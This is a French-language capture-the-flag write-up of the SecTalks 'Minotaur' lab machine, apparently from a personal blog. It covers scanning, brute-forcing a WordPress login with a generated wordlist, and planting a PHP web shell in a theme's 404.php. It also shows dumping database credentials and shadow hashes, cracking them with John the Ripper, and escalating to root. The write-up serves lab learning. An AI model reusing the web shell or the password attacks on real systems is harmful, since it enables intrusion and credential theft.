Dernier CTF de la série SecTalks
créé par Robert Winkel, ce CTF a été globalement sympathique et les indices suivants qui étaient donnés ont empéché de potentielles errances :
- This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.
- One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.
Je regrette juste que l’un des mots de passe prennent vraiment beaucoup de temps à casser quand on ne dispose pas d’un GPU. De plus il semble que Google Colab stoppe désormais les processus intensifs donc casser un hash avec Penglab semble malheureusement être une histoire ancienne.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Nmap scan report for 192.168.56.223
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ed740cc921c45847d40289c7e53e0918 (DSA)
| 2048 0c4ba8247efccd8ab19f87dd9d063005 (RSA)
| 256 409bfef982411793a29634251c53bbae (ECDSA)
|_ 256 72840cfcae8108668cb30173815c6f44 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
2020/tcp open ftp vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
Bulls On Parade
Une énumération web permet de trouver un Wordpress à l’adresse /bull
. Je lance donc wpscan
pour en savoir plus (j’ai retiré une partie de l’output) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
$ docker run -it --rm wpscanteam/wpscan --url http://192.168.56.223/bull/ -e ap,at,cb,dbe --plugins-detection aggressive
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://192.168.56.223/bull/ [192.168.56.223]
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.7 (Ubuntu)
| - X-Powered-By: PHP/5.5.9-1ubuntu4.6
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.56.223/bull/xmlrpc.php
| Found By: Headers (Passive Detection)
| Confidence: 100%
| Confirmed By:
| - Link Tag (Passive Detection), 30% confidence
| - Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] Upload directory has listing enabled: http://192.168.56.223/bull/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 4.2.2 identified (Insecure, released on 2015-05-07).
| Found By: Rss Generator (Passive Detection)
| - http://192.168.56.223/bull/index.php/feed/, <generator>http://wordpress.org/?v=4.2.2</generator>
| - http://192.168.56.223/bull/index.php/comments/feed/, <generator>http://wordpress.org/?v=4.2.2</generator>
[i] Plugin(s) Identified:
[+] akismet
| Location: http://192.168.56.223/bull/wp-content/plugins/akismet/
| Last Updated: 2022-12-01T17:18:00.000Z
| Readme: http://192.168.56.223/bull/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 5.0.2
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.223/bull/wp-content/plugins/akismet/, status: 200
|
| Version: 3.1.1 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.223/bull/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.56.223/bull/wp-content/plugins/akismet/readme.txt
[+] slideshow-gallery
| Location: http://192.168.56.223/bull/wp-content/plugins/slideshow-gallery/
| Last Updated: 2022-10-26T19:25:00.000Z
| Readme: http://192.168.56.223/bull/wp-content/plugins/slideshow-gallery/readme.txt
| [!] The version is out of date, the latest version is 1.7.6
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.223/bull/wp-content/plugins/slideshow-gallery/, status: 200
|
| Version: 1.4.6 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.223/bull/wp-content/plugins/slideshow-gallery/readme.txt
On voit qu’il remonte deux versions possibles pour le plugin slideshow-gallery
. Une recherche sur exploit-db remonte une vulnérabilité pour la version 1.4.6
mais elle requiert d’être authentifié.
Avec l’option -e u
de wpscan j’énumère oles utilisateurs :
1
2
3
4
5
6
7
8
[i] User(s) Identified:
[+] bully
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Bien. Maintenant l’un des indices indique qu’il faut créer notre wordlist nous même. J’utilise donc CeWL
pour extraire les mots du seul article du blog :
1
docker run -it --rm cewl http://192.168.56.223/bull/index.php/2015/05/ > words.txt
Après avoir fait le ménage pour retirer les mots liés à la structure de la page, je demande à JohnTheRipper
de générer des dérivés des mots de passe :
1
john --rules --wordlist=words.txt --stdout > candidates.txt
et c’est parti pour le brute-force :
1
docker run -v /tmp/:/wordlists/ -it --rm wpscanteam/wpscan --url http://192.168.56.223/bull/ -U bully -P /wordlists/candidates.txt
On trouve bien un mot de passe :
1
2
3
4
5
6
7
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - bully / Bighornedbulls
All Found
Progress Time: 00:02:33 <============================================== > (74 / 237) 31.22% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: bully, Password: Bighornedbulls
Je n’aurais pas besoin d’exploiter la faille slideshow-gallery
car je suis admin sur le Wordpress. Je peux simplement éditer un fichier du thème.
Je préfère généralement éditer le fichier 404.php
pour y ajouter ces lignes au début :
1
2
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }
die();
J’ai alors mon exécution de commande en appelant n’importe qu’elle page invalide du blog :
http://192.168.56.223/bull/index.php/yolo?cmd=id
Bull In The Heather
Une fois un shell PTY récupéré je récupère les identifiants de la base de données :
1
2
3
4
5
6
7
8
9
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'bullblog');
/** MySQL database username */
define('DB_USER', 'bully');
/** MySQL database password */
define('DB_PASSWORD', 'Might3*as#FG(');
Ces derniers ne sont acceptés nul part. L’utilisateur courant www-data
semble avoir les permissions pour exécuter un script bash mais ça ne fonctionne pas :
1
2
3
4
5
6
www-data@minotaur:/var/www/html/bull$ sudo -l
Matching Defaults entries for www-data on minotaur:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on minotaur:
(root) NOPASSWD: /root/bullquote.sh
Finalement je trouve un premier flag dans la racine web :
1
2
3
www-data@minotaur:/var/www/html$ cat flag.txt
Oh, lookey here. A flag!
Th15 15 @N 3@5y f1@G!
et un second dans /tmp
:
1
2
3
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root www-data 121 May 27 2015 /tmp/flag.txt
-rw-r----- 1 root www-data 1148 May 27 2015 /tmp/shadow.bak
Il y a aussi une copie lisible du fichier shadow
. Je copie les hashs intéressants et je les file à JTR :
1
2
3
4
root:$6$15/OlfJP$h70tk3qikcf.kfwlGpYT7zfFg.cRzlJMlbVDSj3zCg4967ZXG0JzN/6oInrnvGf7AZaJFE2qJdBAOc/3AyeGX.:16569:0:99999:7:::
minotaur:$6$3qaiXwrS$1Ctbj1UPpzKjWSgpIaUH0PovtO2Ar/IshWUe4tIUrJf8VlbIIijxdu4xHsXltA0mFavbo701X9.BG/fVIPD35.:16582:0:99999:7:::
heffer:$6$iH6pqgzM$3nJ00ToM38a.qLqcW8Yv0pdRiO/fXOvNv03rBzv./E0TO4B8y.QF/PNZ2JrghQTZomdVl3Zffb/MkWrFovWUi/:16582:0:99999:7:::
h0rnbag:$6$nlapGOqY$Hp5VHWq388mVQemkiJA2U1qLI.rZAFzxCw7ivfyglRNgZ6mx68sE1futUy..m7dYJRQRUWEpm3XKihXPB9Akd1:16582:0:99999:7:::
1
2
3
4
www-data@minotaur:/tmp$ cat flag.txt
That shadow.bak file is probably useful, hey?
Also, you found a flag!
My m1L|<$|-|@|<3 br1|\|G$ @11 t3h b0y$ 2 t3h y@R|)
JTR trouve le mot de passe Password1
pour le compte heffer
qui permet d’accèder à un autre flag… mais c’est tout.
1
2
3
4
5
6
7
8
9
10
11
12
heffer@minotaur:~$ cat flag.txt
So this was an easy flag to get, hopefully. Have you gotten ~minotaur/flag.txt yet?
Th3 fl@G 15: m00000 y0
heffer@minotaur:~$ sudo -l
Matching Defaults entries for heffer on minotaur:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User heffer may run the following commands on minotaur:
(root) NOPASSWD: /root/bullquote.sh
heffer@minotaur:~$ sudo /root/bullquote.sh
[sudo] password for heffer:
sudo: /root/bullquote.sh: command not found
Après une heure, JTR n’ayant pas cassé d’autre hash sur ma machine, je cherche la solution sur le web : l’utilisateur minotaur
a le mot de passe obiwan6
et effectivement le hash aurait été cassé après une plus longue attente (oui mais de combien d’heures ?)
On peut alors obtenir un flag :
1
2
3
4
5
minotaur@minotaur:~$ cat flag.txt
Congrats! You've found the first flag:
M355 W17H T3H 8ULL, G37 73H H0RN!
But can you get /root/flag.txt ?
puis passer root :
1
2
3
4
5
6
7
8
9
10
11
12
13
minotaur@minotaur:~$ sudo -l
Matching Defaults entries for minotaur on minotaur:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User minotaur may run the following commands on minotaur:
(root) NOPASSWD: /root/bullquote.sh
(ALL : ALL) ALL
minotaur@minotaur:~$ sudo su
[sudo] password for minotaur:
root@minotaur:/home/minotaur# cd /root
root@minotaur:~# cat flag.txt
Congrats! You got the final flag!
Th3 Fl@g is: 5urr0nd3d bY @r$3h0l35
Publié le 4 janvier 2023